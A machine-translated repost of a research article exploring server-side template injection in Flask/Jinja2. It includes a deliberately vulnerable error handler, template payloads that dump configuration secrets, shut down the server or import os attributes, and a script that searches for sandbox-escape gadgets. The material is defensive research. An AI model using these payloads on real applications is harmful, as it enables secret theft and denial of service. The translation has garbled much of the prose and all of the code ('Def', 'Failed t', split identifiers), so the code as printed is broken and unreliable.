Exploration of server template injection in Flask/Jinja2 (1)

Source: Internet
Author: User
Tags file url

Exploration of server template injection in Flask/Jinja2 (1)

If you haven't heard of SSTI (server-side template injection) or do not know enough about it, we suggest you read an article written by James Kettle before that.
As a professional security engineer, our job is to help enterprises make risk decisions. Discover threats to the product in a timely manner. The impact of vulnerabilities on the product cannot be accurately calculated. As a person who often uses the Flask framework for development, James's research prompted me to make up my mind to study details about server-side template injection when using the Flask/Jinja2 framework for application development.
Setup
To accurately evaluate SSTI in Flask/Jinja2, we now create a PoC application:
@ App. errorhandler (404)
Def page_not_found (e ):
Template = ''' {% extends "layout.html" %}
{% Block body %}

Oops! That page doesn' t exist.
% S

{% Endblock %}
''' % (Request. url)
Return render_template_string (template), 404
The scenario behind this code should be the developer's stupid idea that this 404 page has a separate template file, so he created a template string in the 404 view function. This developer wants to report the URL to the user if an error occurs, but does not pass the URL to the template context through the render_template_string function, this developer chooses to use string formatting to dynamically Add the URL to the template string, right? Slot, which is not the worst I have ever seen.
Run this function. We can see the following expected results:

Most of my friends immediately think about XSS when they see the following actions. Of course, their ideas are correct. Adding alert (42) after the URL triggers an XSS vulnerability.

The target code has an XSS vulnerability. If you read James's article, you will know that XSS is very likely to be a factor in SSTI. This is a great example. However, we added {7 + 7} after the URL to solve the problem in depth. The template engine calculates the value of the mathematical expression.

We have found traces of SSTI in the target application.
Analysis
Next, we are very busy. Next, we will go deep into the template context and explore how attackers can attack the application through the SSTI vulnerability. The following are the view functions with vulnerabilities after modification:
@ App. errorhandler (404)
Def page_not_found (e ):
Template = ''' {% extends "layout.html" %}
{% Block body %}

Oops! That page doesn' t exist.
% S

{% Endblock %}
''' % (Request. url)
Return render_template_string (template,
Dir = dir,
Help = help,
Locals = locals,
), 404
The called render_template_string now contains the dir, help, and locals built-in templates. By adding them to the template context, we can use these built-in templates for introspection through this vulnerability.
For a short pause, let's talk about the template context description in the document.
Jinja globals
Flask template globals
Materials Added by developers
We are most concerned about the first and second items, because they are usually the default values and can be exploited anywhere in the SSTI vulnerability application in the Flask/Jinja2 framework. Article 3 depending on the application and there are too many implementation methods, there are several methods in stackoverflow. In this article, we will not discuss the third article in depth, but it is worth considering when conducting static source code analysis on Flask/Jinja2 framework applications.
To continue introspection, we should:
Read documents
Use the locals object in dir to view all template context that can be used
Use dir and help. to drill down all objects
Analysis of interested Python source code (after all, the framework is open-source)
Results
Through the introspection request object, we collect the toys in the first dream. request is a global object of the Flask template, which represents the current request object (flask. request) ", you can see a lot of information you want to visit the request object in the view. There is an environ object name in the request object. Request. the environ object is an object dictionary related to the server environment. In the dictionary, the key allocated by the method name shutdown_server is werkzeug. server. shutdown, so you can guess the injection {request. environ ['werkzeug. server. shutdown '] ()} what will be done on the server? A Denial-of-Service (DoS) method with extremely low impact disappears when the gunicorn method is used to run the application. Therefore, this vulnerability is quite limited.
Our second discovery comes from the internal config object. config is also a global object in the Flask template, which represents the current configuration object (flask. config) ", it is a class dictionary object, it contains the configuration values of all applications. In most cases, it contains sensitive values such as database connection strings, creden connected to third parties, and SECRET_KEY. To view these configuration items, you only need to inject the {config. items ()} payload.


The most interesting thing is the fact that config is a class dictionary object, but its subclass contains multiple unique methods: from_envvar, from_object, from_pyfile, and root_path.
The last step is to get a deeper understanding of the source code. The following is the code of the from_object method of the Config class in flask/config. py:
Def from_object (self, obj ):
"Updates the values from the given object. An object can be of one
Of the following two types:
-A string: in this case the object with that name will be imported
-An actual object reference: that object is used directly
Objects are usually either modules or classes.
Just the uppercase variables in that object are stored in the config.
Example usage ::
App. config. from_object ('yourapplication. default_config ')
From yourapplication import default_config
App. config. from_object (default_config)
You shoshould not use this function to load the actual configuration
Rather configuration defaults. The actual config shoshould be loaded
With: meth: 'From _ pyfile' and ideally from a location not within
Package because the package might be installed system wide.
: Param obj: an import name or object
"""
If isinstance (obj, string_types ):
Obj = import_string (obj)
For key in dir (obj ):
If key. isupper ():
Self [key] = getattr (obj, key)
Def _ repr _ (self ):
Return ''% (self. _ class _. _ name __, dict. _ repr _ (self ))
We can see that if a String object is passed to the from_object method, it will pass the string to the import_string method from the werkzeug/utils. py module, and try to reference it from the matched path and return the result.
Def import_string (import_name, silent = False ):
"Imports an object based on a string. This is useful if you want
Use import paths as endpoints or something similar. An import path can
Be specified either in dotted notation (''xml. sax. saxutils. escape '')
Or with a colon as object delimiter (''xml. sax. saxutils: escape '').
If 'silent' is True the return value will be 'none' if the import fails.
: Param import_name: the dotted name for the object to import.
: Param silent: if set to 'true' import errors are ignored and
'None' is returned instead.
: Return: imported object
"""
# Force the import name to automatically convert to strings
# _ Import _ is not able to handle unicode strings in the fromlist
# If the module is a package
Import_name = str (import_name). replace (':','.')
Try:
Try:
_ Import _ (import_name)
Failed t ImportError:
If '.' not in import_name:
Raise
Else:
Return sys. modules [import_name]
Module_name, obj_name = import_name.rsplit ('.', 1)
Try:
Module = _ import _ (module_name, None, None, [obj_name])

 

Failed t ImportError:
# Support importing modules not yet set up by the parent module
# (Or package for that matter)
Module = import_string (module_name)
Try:
Return getattr (module, obj_name)
T AttributeError as e:
Raise ImportError (e)
Failed t ImportError as e:
If not silent:
Reraise (
ImportStringError,
ImportStringError (import_name, e ),
Sys. exc_info () [2])
The from_object method adds attributes to all new Loading modules whose variable names are capitalized. Interestingly, these attributes added to the config object maintain their original types, this means that the function added to the config object can be called from the template context through the config object. To demonstrate this, We have injected {config. items ()} into an application with the SSTI vulnerability. Pay attention to the current configuration entry!

Then inject {config. from_object ('OS ')}}. This adds the attributes of all uppercase variables in the OS Library to the config object. Inject {config. items ()} again, pay attention to the new configuration entries, and pay attention to the type of these configuration entries.

Now we can use the SSTI vulnerability to call all callable entries added to the config object. Next, we will look for functions that can break through the sandbox template from the available reference module.
The following scripts reproduce from_object and import_string and analyze the Python standard library for reference entries.
#! /Usr/bin/env python
From stdlib_list import stdlib_list
Import argparse
Import sys
Def import_string (import_name, silent = True ):
Import_name = str (import_name). replace (':','.')
Try:
Try:
_ Import _ (import_name)
Failed t ImportError:
If '.' not in import_name:
Raise
Else:
Return sys. modules [import_name]
Module_name, obj_name = import_name.rsplit ('.', 1)
Try:
Module = _ import _ (module_name, None, None, [obj_name])
Failed t ImportError:
# Support importing modules not yet set up by the parent module
# (Or package for that matter)
Module = import_string (module_name)
Try:
Return getattr (module, obj_name)
T AttributeError as e:
Raise ImportError (e)
Failed t ImportError as e:
If not silent:
Raise
Class ScanManager (object ):
Def _ init _ (self, version = '2. 6 '):
Self. libs = stdlib_list (version)
Def from_object (self, obj ):
Obj = import_string (obj)
Config = {}
For key in dir (obj ):
If key. isupper ():
Config [key] = getattr (obj, key)
Return config

 

Def scan_source (self ):
For lib in self. libs:
Config = self. from_object (lib)
If config:
Conflen = len (max (config. keys (), key = len ))
For key in sorted (config. keys ()):
Print ('[{0}] {1 }=>{ 2}'. format (lib, key. ljust (conflen), repr (config [key])
Def main ():
# Parse arguments
Ap = argparse. ArgumentParser ()
Ap. add_argument ('version ')
Args = ap. parse_args ()
# Creat a specified instance
Sm = ScanManager (args. version)
Print ('\ n [{module}] {config key }=> {config value} \ n ')
Sm. scan_source ()
# Start of main code
If _ name _ = '_ main __':
Main ()
The output result of the script running in Python 2.7 is as follows:
(Venv) macbook-pro: search lanmaster $./search. py 2.7
[{Module}] {config key }=> {config value}
...
[Ctypes] CFUNCTYPE => function CFUNCTYPE at 0x10c4dfb90>
...
[Ctypes] PYFUNCTYPE => function PYFUNCTYPE at 0x10c4dff50>
...
[Distutils. archive_util] ARCHIVE_FORMATS => {'gztar ': (function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip 'ed tar-file "), 'ztar ': (function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar ': (function make_tarball at 0x10c5f9d70>, [('companys', 'bzip2')], "bzip2 'ed tar-file"), 'zip': (function make_zipfile at 0x10c5f9de8>, [], 'zip file'), 'tar ': (function make_tarball at 0x10c5f9d70>, [('companys', None)], 'uncompressed tar file ')}
...
[Ftplib] FTP =>
[Ftplib] FTP_TLS =>
...
[Httplib] HTTP =>
[Httplib] HTTPS =>
...
[Ic] IC =>
...
[Shutil] _ ARCHIVE_FORMATS => {'gztar ': (function _ make_tarball at 0x10a860410>, [('compress', 'gzip')], "gzip 'ed tar-file"), 'bztar ': (function _ make_tarball at 0x10a860410>, [('compress', 'bzip2')], "bzip2 'ed tar-file"), 'zip': (function _ make_zipfile at 0x10a860500>, [], 'zip file'), 'tar ': (function _ make_tarball at 0x10a860410>, [('compress', None)], 'uncompressed tar file ')}
...
[Xml. dom. pulldom] SAX2DOM =>
...
[Xml. etree. ElementTree] XML => function XML at 0x10d138de8>
[Xml. etree. ElementTree] XMLID => function XMLID at 0x10d13e050>
...
So far, we have used our previous methodology to pray for ways to break through the sandbox template.
Through these entries, I failed to find a way to break through the template sandbox, but I will release some very close methods in the Additional Information below to share the research. It should be noted that I have not tried all the possibilities, so further research is still meaningful.
Ftplib
We may use the ftplib. FTP object to connect to a server under our control and upload files to the server. We can also download the file from the server and use the config. from_pyfile method to match the regular expression of the content. Analysis of the ftplib documentation and source code shows that ftplib needs to open the file processor, and because the built-in open in the template sandbox is disabled, it seems that there is no way to create a file processor.
Httplib
Here we may use the file protocol processor file: // in the local file system, so we can use the httplib. HTTP object to load the file URL. Unfortunately, httplib does not support file protocol processors.
Xml. etree. ElementTree
Of course, we may also use xml. etree. ElementTree. XML objects to load files from the file system using user-defined character entities. However, as shown in the Python document, etree does not support user-defined character entities.
Conclusion
Even if we failed to find a method to break through the template sandbox, the impact on SSTI under the Flask/Jinja2 development framework has been improved, and I am sure that layer of gauze will be quickly lifted.
 

 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.